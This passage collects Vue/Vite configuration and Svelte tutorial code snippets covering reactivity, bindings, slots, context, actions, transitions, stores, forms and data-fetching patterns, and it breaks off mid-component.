      global: {
        plugins: [createPinia()]
      }
    })

    expect(wrapper.text()).toContain('John')
  })
})

// vite.config.js
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
import { resolve } from 'path'

export default defineConfig({
  plugins: [vue()],

  resolve: {
    alias: {
      '@': resolve(__dirname, 'src'),
      '@components': resolve(__dirname, 'src/components'),
      '@utils': resolve(__dirname, 'src/utils')
    }
  },

  server: {
    port: 3000,
    proxy: {
      '/api': {
        target: 'http://localhost:8080',
        changeOrigin: true,
        rewrite: (path) => path.replace(/^\/api/, '')
      }
    }
  },

  build: {
    outDir: 'dist',
    sourcemap: true,
    rollupOptions: {
      output: {
        manualChunks: {
          vendor: ['vue', 'vue-router', 'pinia']
        }
      }
    }
  },

  css: {
    preprocessorOptions: {
      scss: {
        additionalData: `@import "@/styles/variables.scss";`
      }
    }
  }
})

// .env
VITE_API_URL=https://api.example.com
VITE_APP_TITLE=My App

// .env.development
VITE_API_URL=http://localhost:3000

// .env.production
VITE_API_URL=https://api.production.com

// Usage in code
<script setup>
const apiUrl = import.meta.env.VITE_API_URL
const appTitle = import.meta.env.VITE_APP_TITLE
const isDev = import.meta.env.DEV
const isProd = import.meta.env.PROD

console.log('API URL:', apiUrl)
</script>

// Type definitions (env.d.ts)
/// <reference types="vite/client" />

interface ImportMetaEnv {
  readonly VITE_API_URL: string
  readonly VITE_APP_TITLE: string
}

interface ImportMeta {
  readonly env: ImportMetaEnv
}

# Create new Svelte project
npm create vite@latest my-app -- --template svelte
cd my-app
npm install
npm run dev

<!-- App.svelte -->
<script>
  let count = 0;

  function increment() {
    count += 1;
  }
</script>

<button on:click={increment}>
  Clicked {count} {count === 1 ? 'time' : 'times'}
</button>

<style>
  button {
    background: #ff3e00;
    color: white;
    padding: 10px 20px;
    border: none;
    border-radius: 5px;
    cursor: pointer;
  }
</style>

<script>
  let count = 0;

  // Reactive declaration
  $: doubled = count * 2;

  // Reactive statement
  $: if (count >= 10) {
    alert('count is high!');
  }

  // Reactive block
  $: {
    console.log(`count is ${count}`);
  }
</script>

<!-- Child.svelte -->
<script>
  export let name;
  export let age = 25; // default value
</script>

<p>{name} is {age} years old</p>

<!-- Parent.svelte -->
<script>
  import Child from './Child.svelte';
</script>

<Child name="John" age={30} />

<script>
  import { createEventDispatcher } from 'svelte';

  const dispatch = createEventDispatcher();

  function handleClick() {
    dispatch('message', { text: 'Hello!' });
  }
</script>

<button on:click={handleClick}>
  Send message
</button>

<!-- Parent -->
<Child on:message={e => console.log(e.detail.text)} />

// store.js
import { writable } from 'svelte/store';

export const count = writable(0);

<script>
  import { count } from './store.js';
</script>

<button on:click={() => $count += 1}>
  Count: {$count}
</button>

<script>
  import { onMount, onDestroy, beforeUpdate, afterUpdate, tick } from 'svelte';

  // Runs after component is first rendered to DOM
  onMount(() => {
    console.log('Component mounted');

    // Return cleanup function
    return () => {
      console.log('onMount cleanup');
    };
  });

  // Runs before component is destroyed
  onDestroy(() => {
    console.log('Component destroyed');
  });

  // Runs before DOM is updated
  beforeUpdate(() => {
    console.log('Before update');
  });

  // Runs after DOM is updated
  afterUpdate(() => {
    console.log('After update');
  });

  // Example: scroll to bottom after update
  let messages = [];
  let container;

  async function addMessage(text) {
    messages = [...messages, text];
    await tick(); // Wait for DOM to update
    container.scrollTop = container.scrollHeight;
  }
</script>

<div bind:this={container}>
  {#each messages as message}
    <p>{message}</p>
  {/each}
</div>

<script>
  import { onMount } from 'svelte';

  let data = null;
  let loading = true;
  let error = null;

  onMount(async () => {
    try {
      const response = await fetch('/api/data');
      if (!response.ok) throw new Error('Failed to fetch');
      data = await response.json();
    } catch (e) {
      error = e.message;
    } finally {
      loading = false;
    }
  });
</script>

{#if loading}
  <p>Loading...</p>
{:else if error}
  <p>Error: {error}</p>
{:else}
  <pre>{JSON.stringify(data, null, 2)}</pre>
{/if}

<script>
  let firstName = 'John';
  let lastName = 'Doe';

  // Reactive declaration - automatically updates
  $: fullName = `${firstName} ${lastName}`;

  // Multiple dependencies
  let width = 100;
  let height = 100;
  $: area = width * height;
  $: perimeter = 2 * (width + height);

  // Reactive statements with side effects
  $: {
    console.log(`Area: ${area}`);
    console.log(`Perimeter: ${perimeter}`);
  }

  // Conditional reactive statements
  $: if (area > 10000) {
    console.warn('Area is very large!');
  }
</script>

<script>
  let items = [1, 2, 3];

  // ❌ This won't trigger reactivity
  function addWrong() {
    items.push(4);
  }

  // ✅ Correct - create new array
  function addCorrect() {
    items = [...items, 4];
  }

  // ✅ Alternative - reassign
  function addAlternative() {
    items.push(4);
    items = items;
  }

  let user = { name: 'John', age: 30 };

  // ❌ Won't trigger reactivity
  function updateWrong() {
    user.age = 31;
  }

  // ✅ Create new object
  function updateCorrect() {
    user = { ...user, age: 31 };
  }
</script>

<script>
  let numbers = [1, 2, 3, 4, 5];

  // Chain of reactive declarations
  $: doubled = numbers.map(n => n * 2);
  $: filtered = doubled.filter(n => n > 5);
  $: sum = filtered.reduce((a, b) => a + b, 0);
  $: average = filtered.length ? sum / filtered.length : 0;

  // Reactive with async
  let query = '';
  let results = [];

  $: if (query.length > 2) {
    searchAPI(query);
  }

  async function searchAPI(q) {
    const response = await fetch(`/api/search?q=${q}`);
    results = await response.json();
  }
</script>

<script>
  let text = '';
  let number = 0;
  let checked = false;
  let selected = '';
  let group = [];
  let value = 50;
</script>

<!-- Text input -->
<input type="text" bind:value={text}>
<p>Text: {text}</p>

<!-- Number input -->
<input type="number" bind:value={number}>
<p>Number: {number}</p>

<!-- Checkbox -->
<input type="checkbox" bind:checked={checked}>
<p>Checked: {checked}</p>

<!-- Select -->
<select bind:value={selected}>
  <option value="a">Option A</option>
  <option value="b">Option B</option>
  <option value="c">Option C</option>
</select>

<!-- Radio group -->
<input type="radio" bind:group={group} value="one">
<input type="radio" bind:group={group} value="two">
<input type="radio" bind:group={group} value="three">

<!-- Range -->
<input type="range" bind:value={value} min="0" max="100">
<p>Value: {value}</p>

<!-- Textarea -->
<textarea bind:value={text}></textarea>

<script>
  let div;
  let input;
  let canvas;

  $: if (div) {
    console.log('Div dimensions:', div.offsetWidth, div.offsetHeight);
  }

  function focusInput() {
    input.focus();
  }

  function getCanvasContext() {
    const ctx = canvas.getContext('2d');
    ctx.fillRect(0, 0, 100, 100);
  }

  // Bind to dimensions
  let w;
  let h;
</script>

<div bind:this={div} bind:clientWidth={w} bind:clientHeight={h}>
  Content here - {w}x{h}
</div>

<input bind:this={input} type="text">
<button on:click={focusInput}>Focus Input</button>

<canvas bind:this={canvas} width="200" height="200"></canvas>
<button on:click={getCanvasContext}>Draw</button>

<!-- Child.svelte -->
<script>
  export let value = '';
</script>

<input type="text" bind:value={value}>

<!-- Parent.svelte -->
<script>
  import Child from './Child.svelte';
  let childValue = '';
</script>

<Child bind:value={childValue} />
<p>Parent sees: {childValue}</p>

<script>
  let html = '<p>Edit me!</p>';
  let text = 'Plain text';
</script>

<div contenteditable="true" bind:innerHTML={html}></div>
<div contenteditable="true" bind:textContent={text}></div>

<!-- Card.svelte -->
<div class="card">
  <slot>
    <!-- Fallback content if no slot provided -->
    <p>No content provided</p>
  </slot>
</div>

<!-- Usage -->
<Card>
  <h2>My Title</h2>
  <p>My content</p>
</Card>

<!-- Layout.svelte -->
<div class="layout">
  <header>
    <slot name="header">
      <h1>Default Header</h1>
    </slot>
  </header>

  <main>
    <slot></slot>
  </main>

  <footer>
    <slot name="footer">
      <p>Default Footer</p>
    </slot>
  </footer>
</div>

<!-- Usage -->
<Layout>
  <svelte:fragment slot="header">
    <h1>Custom Header</h1>
  </svelte:fragment>

  <p>Main content goes here</p>

  <svelte:fragment slot="footer">
    <p>Custom Footer</p>
  </svelte:fragment>
</Layout>

<!-- List.svelte -->
<script>
  export let items = [];
</script>

<ul>
  {#each items as item, index}
    <li>
      <slot {item} {index}>
        <!-- Fallback -->
        {item}
      </slot>
    </li>
  {/each}
</ul>

<!-- Usage -->
<script>
  import List from './List.svelte';
  const items = ['Apple', 'Banana', 'Cherry'];
</script>

<List {items} let:item let:index>
  <strong>{index + 1}:</strong> {item}
</List>

<!-- DataTable.svelte -->
<script>
  export let data = [];
  export let columns = [];
</script>

<table>
  <thead>
    <tr>
      {#each columns as column}
        <th>
          <slot name="header" {column}>
            {column.label}
          </slot>
        </th>
      {/each}
    </tr>
  </thead>
  <tbody>
    {#each data as row, rowIndex}
      <tr>
        {#each columns as column}
          <td>
            <slot name="cell" {row} {column} {rowIndex}>
              {row[column.key]}
            </slot>
          </td>
        {/each}
      </tr>
    {/each}
  </tbody>
</table>

<!-- Usage -->
<DataTable {data} {columns}>
  <svelte:fragment slot="header" let:column>
    <strong>{column.label.toUpperCase()}</strong>
  </svelte:fragment>

  <svelte:fragment slot="cell" let:row let:column>
    {#if column.key === 'email'}
      <a href="mailto:{row.email}">{row.email}</a>
    {:else}
      {row[column.key]}
    {/if}
  </svelte:fragment>
</DataTable>

<!-- Parent.svelte -->
<script>
  import { setContext } from 'svelte';
  import Child from './Child.svelte';

  const theme = {
    primary: '#ff3e00',
    secondary: '#676778'
  };

  setContext('theme', theme);

  // Can also set functions
  setContext('api', {
    fetchUser: async (id) => {
      const res = await fetch(`/api/users/${id}`);
      return res.json();
    }
  });
</script>

<Child />

<!-- Child.svelte -->
<script>
  import { getContext } from 'svelte';

  const theme = getContext('theme');
  const api = getContext('api');

  let user;
  $: api.fetchUser(1).then(u => user = u);
</script>

<div style="color: {theme.primary}">
  {#if user}
    <p>{user.name}</p>
  {/if}
</div>

<!-- App.svelte -->
<script>
  import { setContext } from 'svelte';
  import { writable } from 'svelte/store';

  const user = writable({ name: 'John', isAdmin: false });

  setContext('user', user);
</script>

<!-- AnyChildComponent.svelte -->
<script>
  import { getContext } from 'svelte';

  const user = getContext('user');
</script>

<p>Hello, {$user.name}!</p>
{#if $user.isAdmin}
  <button>Admin Panel</button>
{/if}

<button on:click={() => $user.name = 'Jane'}>
  Change Name
</button>

// context.js
import { getContext, setContext } from 'svelte';
import { writable } from 'svelte/store';

const CONTEXT_KEY = 'myApp';

export function createAppContext() {
  const state = writable({
    user: null,
    theme: 'light'
  });

  const api = {
    setUser: (user) => state.update(s => ({ ...s, user })),
    toggleTheme: () => state.update(s => ({
      ...s,
      theme: s.theme === 'light' ? 'dark' : 'light'
    }))
  };

  setContext(CONTEXT_KEY, { state, ...api });
  return { state, ...api };
}

export function getAppContext() {
  return getContext(CONTEXT_KEY);
}

<!-- Root.svelte -->
<script>
  import { createAppContext } from './context.js';
  createAppContext();
</script>

<!-- AnyDescendant.svelte -->
<script>
  import { getAppContext } from './context.js';
  const { state, setUser, toggleTheme } = getAppContext();
</script>

<p>Theme: {$state.theme}</p>
<button on:click={toggleTheme}>Toggle Theme</button>

<script>
  function tooltip(node, text) {
    const tooltip = document.createElement('div');
    tooltip.textContent = text;
    tooltip.className = 'tooltip';

    function mouseOver() {
      document.body.appendChild(tooltip);
      const rect = node.getBoundingClientRect();
      tooltip.style.left = rect.left + 'px';
      tooltip.style.top = (rect.top - tooltip.offsetHeight - 5) + 'px';
    }

    function mouseOut() {
      tooltip.remove();
    }

    node.addEventListener('mouseover', mouseOver);
    node.addEventListener('mouseout', mouseOut);

    return {
      destroy() {
        node.removeEventListener('mouseover', mouseOver);
        node.removeEventListener('mouseout', mouseOut);
      }
    };
  }
</script>

<button use:tooltip="This is a tooltip">
  Hover me
</button>

<style>
  :global(.tooltip) {
    position: absolute;
    background: black;
    color: white;
    padding: 5px 10px;
    border-radius: 3px;
    font-size: 12px;
  }
</style>

<script>
  function longpress(node, duration = 500) {
    let timer;

    const handleMousedown = () => {
      timer = setTimeout(() => {
        node.dispatchEvent(new CustomEvent('longpress'));
      }, duration);
    };

    const handleMouseup = () => {
      clearTimeout(timer);
    };

    node.addEventListener('mousedown', handleMousedown);
    node.addEventListener('mouseup', handleMouseup);

    return {
      update(newDuration) {
        duration = newDuration;
      },
      destroy() {
        node.removeEventListener('mousedown', handleMousedown);
        node.removeEventListener('mouseup', handleMouseup);
      }
    };
  }
</script>

<button
  use:longpress={2000}
  on:longpress={() => alert('Long pressed!')}
>
  Press and hold
</button>

<script>
  // Click outside action
  function clickOutside(node) {
    const handleClick = (event) => {
      if (!node.contains(event.target)) {
        node.dispatchEvent(new CustomEvent('outclick'));
      }
    };

    document.addEventListener('click', handleClick, true);

    return {
      destroy() {
        document.removeEventListener('click', handleClick, true);
      }
    };
  }

  // Auto-resize textarea
  function autoresize(node) {
    function resize() {
      node.style.height = 'auto';
      node.style.height = node.scrollHeight + 'px';
    }

    node.addEventListener('input', resize);
    resize();

    return {
      destroy() {
        node.removeEventListener('input', resize);
      }
    };
  }

  let showDropdown = false;
</script>

<div
  class="dropdown"
  use:clickOutside
  on:outclick={() => showDropdown = false}
>
  <button on:click={() => showDropdown = !showDropdown}>
    Toggle
  </button>
  {#if showDropdown}
    <div class="menu">Dropdown content</div>
  {/if}
</div>

<textarea use:autoresize placeholder="Auto-resizing textarea"></textarea>

<script>
  import { fade, fly, slide, scale, blur } from 'svelte/transition';
  import { quintOut } from 'svelte/easing';

  let visible = true;
</script>

<button on:click={() => visible = !visible}>Toggle</button>

{#if visible}
  <!-- Fade -->
  <div transition:fade={{ duration: 300 }}>Fades in and out</div>

  <!-- Fly -->
  <div transition:fly={{ y: 200, duration: 500, easing: quintOut }}>
    Flies in and out
  </div>

  <!-- Slide -->
  <div transition:slide={{ duration: 300 }}>Slides in and out</div>

  <!-- Scale -->
  <div transition:scale={{ start: 0.5, duration: 300 }}>
    Scales in and out
  </div>

  <!-- Blur -->
  <div transition:blur={{ duration: 300 }}>Blurs in and out</div>
{/if}

<script>
  import { fade, fly } from 'svelte/transition';

  let visible = true;
</script>

{#if visible}
  <!-- Different transitions for in and out -->
  <div
    in:fly={{ y: -100, duration: 300 }}
    out:fade={{ duration: 200 }}
  >
    Flies in, fades out
  </div>
{/if}

<script>
  import { cubicOut } from 'svelte/easing';

  function typewriter(node, { speed = 1 }) {
    const valid = node.childNodes.length === 1 &&
                  node.childNodes[0].nodeType === Node.TEXT_NODE;

    if (!valid) return {};

    const text = node.textContent;
    const duration = text.length / (speed * 0.01);

    return {
      duration,
      tick: t => {
        const i = Math.trunc(text.length * t);
        node.textContent = text.slice(0, i);
      }
    };
  }

  function spin(node, { duration = 1000 }) {
    return {
      duration,
      css: t => {
        const eased = cubicOut(t);
        return `
          transform: rotate(${eased * 360}deg);
          opacity: ${t};
        `;
      }
    };
  }

  let visible = true;
</script>

{#if visible}
  <p transition:typewriter={{ speed: 1 }}>
    This text will appear letter by letter
  </p>

  <div transition:spin={{ duration: 500 }}>
    Spinning element
  </div>
{/if}

<script>
  import { quintOut } from 'svelte/easing';
  import { crossfade } from 'svelte/transition';

  const [send, receive] = crossfade({
    duration: 300,
    easing: quintOut
  });

  let todos = [
    { id: 1, done: false, text: 'Learn Svelte' },
    { id: 2, done: false, text: 'Build an app' }
  ];

  function toggle(id) {
    todos = todos.map(todo =>
      todo.id === id ? { ...todo, done: !todo.done } : todo
    );
  }
</script>

<div class="columns">
  <div>
    <h2>Todo</h2>
    {#each todos.filter(t => !t.done) as todo (todo.id)}
      <div
        in:receive={{ key: todo.id }}
        out:send={{ key: todo.id }}
        on:click={() => toggle(todo.id)}
      >
        {todo.text}
      </div>
    {/each}
  </div>

  <div>
    <h2>Done</h2>
    {#each todos.filter(t => t.done) as todo (todo.id)}
      <div
        in:receive={{ key: todo.id }}
        out:send={{ key: todo.id }}
        on:click={() => toggle(todo.id)}
      >
        {todo.text}
      </div>
    {/each}
  </div>
</div>

<script>
  import { flip } from 'svelte/animate';
  import { quintOut } from 'svelte/easing';

  let items = [1, 2, 3, 4, 5];

  function shuffle() {
    items = items.sort(() => Math.random() - 0.5);
  }
</script>

<button on:click={shuffle}>Shuffle</button>

{#each items as item (item)}
  <div animate:flip={{ duration: 300, easing: quintOut }}>
    {item}
  </div>
{/each}

// stores.js
import { writable, derived } from 'svelte/store';

export const firstName = writable('John');
export const lastName = writable('Doe');

// Derived from single store
export const fullName = derived(
  [firstName, lastName],
  ([$firstName, $lastName]) => `${$firstName} ${$lastName}`
);

// Derived with custom logic
export const items = writable([
  { id: 1, price: 10, quantity: 2 },
  { id: 2, price: 20, quantity: 1 }
]);

export const total = derived(
  items,
  ($items) => $items.reduce((sum, item) => sum + item.price * item.quantity, 0)
);

// Async derived store
export const userId = writable(1);

export const user = derived(
  userId,
  ($userId, set) => {
    fetch(`/api/users/${$userId}`)
      .then(res => res.json())
      .then(data => set(data));

    return () => {
      // Cleanup function
    };
  },
  null // Initial value
);

// stores.js
import { readable } from 'svelte/store';

// Time store
export const time = readable(new Date(), (set) => {
  const interval = setInterval(() => {
    set(new Date());
  }, 1000);

  return () => clearInterval(interval);
});

// Mouse position store
export const mousePosition = readable({ x: 0, y: 0 }, (set) => {
  const handleMouseMove = (event) => {
    set({ x: event.clientX, y: event.clientY });
  };

  document.addEventListener('mousemove', handleMouseMove);

  return () => {
    document.removeEventListener('mousemove', handleMouseMove);
  };
});

// WebSocket store
export const websocket = readable(null, (set) => {
  const ws = new WebSocket('wss://example.com/socket');

  ws.addEventListener('message', (event) => {
    set(JSON.parse(event.data));
  });

  return () => ws.close();
});

// stores.js
import { writable } from 'svelte/store';

// Custom store with methods
function createCounter() {
  const { subscribe, set, update } = writable(0);

  return {
    subscribe,
    increment: () => update(n => n + 1),
    decrement: () => update(n => n - 1),
    reset: () => set(0)
  };
}

export const counter = createCounter();

// LocalStorage store
function createLocalStore(key, initial) {
  const stored = localStorage.getItem(key);
  const { subscribe, set, update } = writable(
    stored ? JSON.parse(stored) : initial
  );

  return {
    subscribe,
    set: (value) => {
      localStorage.setItem(key, JSON.stringify(value));
      set(value);
    },
    update: (fn) => {
      update(value => {
        const newValue = fn(value);
        localStorage.setItem(key, JSON.stringify(newValue));
        return newValue;
      });
    }
  };
}

export const preferences = createLocalStore('preferences', {
  theme: 'light',
  language: 'en'
});

// Async store with loading state
function createAsyncStore(url) {
  const { subscribe, set } = writable({
    loading: true,
    data: null,
    error: null
  });

  async function load() {
    try {
      set({ loading: true, data: null, error: null });
      const response = await fetch(url);
      if (!response.ok) throw new Error('Fetch failed');
      const data = await response.json();
      set({ loading: false, data, error: null });
    } catch (error) {
      set({ loading: false, data: null, error: error.message });
    }
  }

  load();

  return {
    subscribe,
    reload: load
  };
}

export const users = createAsyncStore('/api/users');

// stores.js
import { writable, derived, get } from 'svelte/store';

// Shopping cart example
function createCart() {
  const { subscribe, set, update } = writable([]);

  return {
    subscribe,
    addItem: (item) => update(items => {
      const existing = items.find(i => i.id === item.id);
      if (existing) {
        return items.map(i =>
          i.id === item.id ? { ...i, quantity: i.quantity + 1 } : i
        );
      }
      return [...items, { ...item, quantity: 1 }];
    }),
    removeItem: (id) => update(items => items.filter(i => i.id !== id)),
    updateQuantity: (id, quantity) => update(items =>
      items.map(i => i.id === id ? { ...i, quantity } : i)
    ),
    clear: () => set([])
  };
}

export const cart = createCart();

export const cartTotal = derived(
  cart,
  ($cart) => $cart.reduce((sum, item) => sum + item.price * item.quantity, 0)
);

export const cartCount = derived(
  cart,
  ($cart) => $cart.reduce((sum, item) => sum + item.quantity, 0)
);

<!-- Parent.svelte -->
<script>
  import Child from './Child.svelte';

  let parentValue = 'Hello';

  function handleUpdate(event) {
    parentValue = event.detail.value;
  }
</script>

<Child value={parentValue} on:update={handleUpdate} />

<!-- Child.svelte -->
<script>
  import { createEventDispatcher } from 'svelte';

  export let value;
  const dispatch = createEventDispatcher();

  function updateValue() {
    dispatch('update', { value: 'Updated from child' });
  }
</script>

<button on:click={updateValue}>Update Parent</button>

<!-- Child.svelte -->
<button on:click>
  Click me
</button>

<!-- Parent.svelte -->
<script>
  import Child from './Child.svelte';
</script>

<Child on:click={() => console.log('Clicked!')} />

// shared.js
import { writable } from 'svelte/store';

export const sharedState = writable({ message: 'Hello' });

<!-- ComponentA.svelte -->
<script>
  import { sharedState } from './shared.js';
</script>

<input bind:value={$sharedState.message}>

<!-- ComponentB.svelte -->
<script>
  import { sharedState } from './shared.js';
</script>

<p>{$sharedState.message}</p>

<!-- Modal.svelte -->
<script>
  let visible = false;

  export function open() {
    visible = true;
  }

  export function close() {
    visible = false;
  }
</script>

{#if visible}
  <div class="modal">
    <slot {close} />
  </div>
{/if}

<!-- Parent.svelte -->
<script>
  import Modal from './Modal.svelte';

  let modal;
</script>

<button on:click={() => modal.open()}>Open Modal</button>

<Modal bind:this={modal}>
  <h2>Modal Title</h2>
  <button on:click={() => modal.close()}>Close</button>
</Modal>

<script>
  let user = { loggedIn: false, isAdmin: false };
</script>

{#if user.loggedIn}
  <p>Welcome back!</p>
  {#if user.isAdmin}
    <button>Admin Panel</button>
  {:else}
    <p>Regular user</p>
  {/if}
{:else}
  <button>Log in</button>
{/if}

<!-- Else if -->
{#if x > 10}
  <p>x is greater than 10</p>
{:else if x < 5}
  <p>x is less than 5</p>
{:else}
  <p>x is between 5 and 10</p>
{/if}

<script>
  let items = [
    { id: 1, name: 'Apple' },
    { id: 2, name: 'Banana' },
    { id: 3, name: 'Cherry' }
  ];
</script>

<!-- Basic each -->
{#each items as item}
  <p>{item.name}</p>
{/each}

<!-- With index -->
{#each items as item, index}
  <p>{index + 1}: {item.name}</p>
{/each}

<!-- With key (important for animations and performance) -->
{#each items as item (item.id)}
  <p>{item.name}</p>
{/each}

<!-- Destructuring -->
{#each items as { id, name }}
  <p>{id}: {name}</p>
{/each}

<!-- With else -->
{#each items as item}
  <p>{item.name}</p>
{:else}
  <p>No items</p>
{/each}

<script>
  async function fetchData() {
    const response = await fetch('/api/data');
    if (!response.ok) throw new Error('Failed to fetch');
    return response.json();
  }

  let promise = fetchData();
</script>

<!-- Basic await -->
{#await promise}
  <p>Loading...</p>
{:then data}
  <p>Data: {JSON.stringify(data)}</p>
{:catch error}
  <p>Error: {error.message}</p>
{/await}

<!-- Only handle then -->
{#await promise then data}
  <p>{data.message}</p>
{/await}

<!-- Only handle catch -->
{#await promise catch error}
  <p>Error: {error.message}</p>
{/await}

<script>
  let value = 0;

  // Component will be destroyed and recreated when value changes
</script>

{#key value}
  <Component {value} />
{/key}

<button on:click={() => value += 1}>Reset Component</button>

<script>
  let formData = {
    name: '',
    email: '',
    age: '',
    terms: false
  };

  let errors = {};
  let submitted = false;

  function validate() {
    errors = {};

    if (!formData.name) {
      errors.name = 'Name is required';
    }

    if (!formData.email) {
      errors.email = 'Email is required';
    } else if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(formData.email)) {
      errors.email = 'Invalid email format';
    }

    if (!formData.age) {
      errors.age = 'Age is required';
    } else if (formData.age < 18) {
      errors.age = 'Must be 18 or older';
    }

    if (!formData.terms) {
      errors.terms = 'You must accept the terms';
    }

    return Object.keys(errors).length === 0;
  }

  function handleSubmit(event) {
    event.preventDefault();

    if (validate()) {
      submitted = true;
      console.log('Form submitted:', formData);
    }
  }
</script>

<form on:submit={handleSubmit}>
  <div>
    <label for="name">Name:</label>
    <input
      id="name"
      type="text"
      bind:value={formData.name}
      class:error={errors.name}
    >
    {#if errors.name}
      <span class="error-message">{errors.name}</span>
    {/if}
  </div>

  <div>
    <label for="email">Email:</label>
    <input
      id="email"
      type="email"
      bind:value={formData.email}
      class:error={errors.email}
    >
    {#if errors.email}
      <span class="error-message">{errors.email}</span>
    {/if}
  </div>

  <div>
    <label for="age">Age:</label>
    <input
      id="age"
      type="number"
      bind:value={formData.age}
      class:error={errors.age}
    >
    {#if errors.age}
      <span class="error-message">{errors.age}</span>
    {/if}
  </div>

  <div>
    <label>
      <input type="checkbox" bind:checked={formData.terms}>
      I accept the terms
    </label>
    {#if errors.terms}
      <span class="error-message">{errors.terms}</span>
    {/if}
  </div>

  <button type="submit">Submit</button>
</form>

{#if submitted}
  <div class="success">Form submitted successfully!</div>
{/if}

<style>
  .error {
    border-color: red;
  }
  .error-message {
    color: red;
    font-size: 0.875rem;
  }
  .success {
    color: green;
    margin-top: 1rem;
  }
</style>

<script>
  let email = '';
  let emailError = '';
  let emailTouched = false;

  $: if (emailTouched) {
    if (!email) {
      emailError = 'Email is required';
    } else if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) {
      emailError = 'Invalid email format';
    } else {
      emailError = '';
    }
  }
</script>

<input
  type="email"
  bind:value={email}
  on:blur={() => emailTouched = true}
  class:error={emailTouched && emailError}
>
{#if emailTouched && emailError}
  <span class="error-message">{emailError}</span>
{/if}

<script>
  let fields = [
    { id: 1, value: '' }
  ];

  let nextId = 2;

  function addField() {
    fields = [...fields, { id: nextId++, value: '' }];
  }

  function removeField(id) {
    fields = fields.filter(f => f.id !== id);
  }
</script>

<form>
  {#each fields as field, index (field.id)}
    <div>
      <input
        type="text"
        bind:value={field.value}
        placeholder="Field {index + 1}"
      >
      {#if fields.length > 1}
        <button type="button" on:click={() => removeField(field.id)}>
          Remove
        </button>
      {/if}
    </div>
  {/each}

  <button type="button" on:click={addField}>
    Add Field
  </button>
</form>

<script>
  let data = null;
  let loading = false;
  let error = null;

  async function fetchData() {
    loading = true;
    error = null;

    try {
      const response = await fetch('/api/data');
      if (!response.ok) {
        throw new Error(`HTTP error! status: ${response.status}`);
      }
      data = await response.json();
    } catch (e) {
      error = e.message;
    } finally {
      loading = false;
    }
  }
</script>

<button on:click={fetchData} disabled={loading}>
  Fetch Data
</button>

{#if loading}
  <div class="spinner">Loading...</div>
{:else if error}
  <div class="error">Error: {error}</div>
{:else if data}
  <div class="data">
    <pre>{JSON.stringify(data, null, 2)}</pre>
  </div>
{/if}

// hooks.js
import { writable } from 'svelte/store';

export function useApi(url, options = {}) {
  const { subscribe, set, update } = writable({
    data: null,
    loading: false,
    error: null
  });

  async function execute(params = {}) {
    update(state => ({ ...state, loading: true, error: null }));

    try {
      const queryString = new URLSearchParams(params).toString();
      const fullUrl = queryString ? `${url}?${queryString}` : url;

      const response = await fetch(fullUrl, options);
      if (!response.ok) throw new Error(`HTTP ${response.status}`);

      const data = await response.json();
      set({ data, loading: false, error: null });
      return data;
    } catch (error) {
      set({ data: null, loading: false, error: error.message });
      throw error;
    }
  }

  return {
    subscribe,
    execute
  };
}

<script>
  import { useApi } from './hooks.js';

  const users = useApi('/api/users');

  $: if ($users.data) {
    console.log('Users loaded:', $users.data);
  }
</script>

<button on:click={() => users.execute()}>
  Load Users
</button>

{#if $users.loading}
  <p>Loading...</p>
{:else if $users.error}
  <p>Error: {$users.error}</p>
{:else if $users.data}
  <ul>
    {#each $users.data as user}
      <li>{user.name}</li>
    {/each}
  </ul>
{/if}

<script>
  let query = '';
  let results = [];
  let loading = false;
  let debounceTimer;

  async function search(q) {
    if (!q) {
      results = [];
      return;
    }

    loading = true;
    try {
      const response = await fetch(`/api/search?q=${encodeURIComponent(q)}`);
      results = await response.json();
    } catch (error) {
      console.error('Search failed:', error);
      results = [];
    } finally {
      loading = false;
    }
  }

  $: {
    clearTimeout(debounceTimer);
    debounceTimer = setTimeout(() => {
      search(query);
    }, 300);
  }
</script>

<input
  type="text"
  bind:value={query}
  placeholder="Search..."
>

{#if loading}
  <p>Searching...</p>
{:else if results.length}
  <ul>
    {#each results as result}
      <li>{result.title}</li>
    {/each}
  </ul>
{:else if query}
  <p>No results found</p>
{/if}

<script>
  let todos = [];
  let optimisticTodos = [];

  $: optimisticTodos = todos;

  async function addTodo(text) {
    const tempId = Date.now();
    const optimisticTodo = { id: tempId, text, pending: true };

    // Add optimistically
    optimisticTodos = [...optimisticTodos, optimisticTodo];

    try {
      const response = await fetch('/api/todos', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ text })
      });

      const newTodo = await response.json();

      // Replace optimistic with real
      todos = [...todos, newTodo];
      optimisticTodos = todos;
    } catch (error) {
      // Rollback on error
      optimisticTodos = todos;
      alert('Failed to add todo');
    }
  }

  async function deleteTodo(id) {
    const original = [...todos];
    todos = todos.filter(t => t.id !== id);

    try {
      await fetch(`/api/todos/${id}`, { method: 'DELETE' });
    } catch (error) {
      // Rollback
      todos = original;
      alert('Failed to delete todo');
    }
  }
</script>

{#each optimisticTodos as todo (todo.id)}
  <div class:pending={todo.pending}>
    {todo.text}
    <button on:click={() => deleteTodo(todo.id)}>Delete</button>
  </div>
{/each}

<!-- WithLoading.svelte -->
<script>
  export let loading = false;
</script>

{#if loading}
  <div class="loading">Loading...</div>
{:else}
  <slot />
{/if}

<!-- WithAuth.svelte -->
<script>
  export let user = null;
</script>

{#if user}
  <slot {user} />
{:else}
  <p>Please log in</p>
{/if}

<!-- Usage -->
<WithAuth {user} let:user>
  <WithLoading {loading}>
    <Dashboard {user} />
  </WithLoading>
</WithAuth>

<!-- DataProvider.svelte -->
<script>
  import { onMount } from 'svelte';

  export let url;

  let data = null;
  let loading = true;
  let error = null;

  onMount(async () => {
    try {
      const response = await fetch(url);
      data = await response.json();
    } catch (e) {
      error = e.message;
    } finally {
      loading = false;
    }
  });
</script>

<slot {data} {loading} {error} />

<!-- Usage -->
<DataProvider url="/api/users" let:data let:loading let:error>
  {#if loading}
    <p>Loading...</p>
  {:else if error}
    <p>Error: {error}</p>
  {:else}
    <ul>
      {#each data as user}
        <li>{user.name}</li>
      {/each}
    </ul>
  {/if}
</DataProvider>

<!-- Tabs.svelte -->
<script>
  import { setContext } from 'svelte';
  import { writable } from 'svelte/store';

  export let active = 0;

  const activeTab = writable(active);
  setContext('tabs', { activeTab });

  $: activeTab.set(active);
</script>

<div class="tabs">
  <slot />
</div>

<!-- TabList.svelte -->
<div class="tab-list">
  <slot />
</div>

<!-- Tab.svelte -->
<script>
  import { getContext } from 'svelte';

  export let index;

  const { activeTab } = getContext('tabs');
</script>

<button
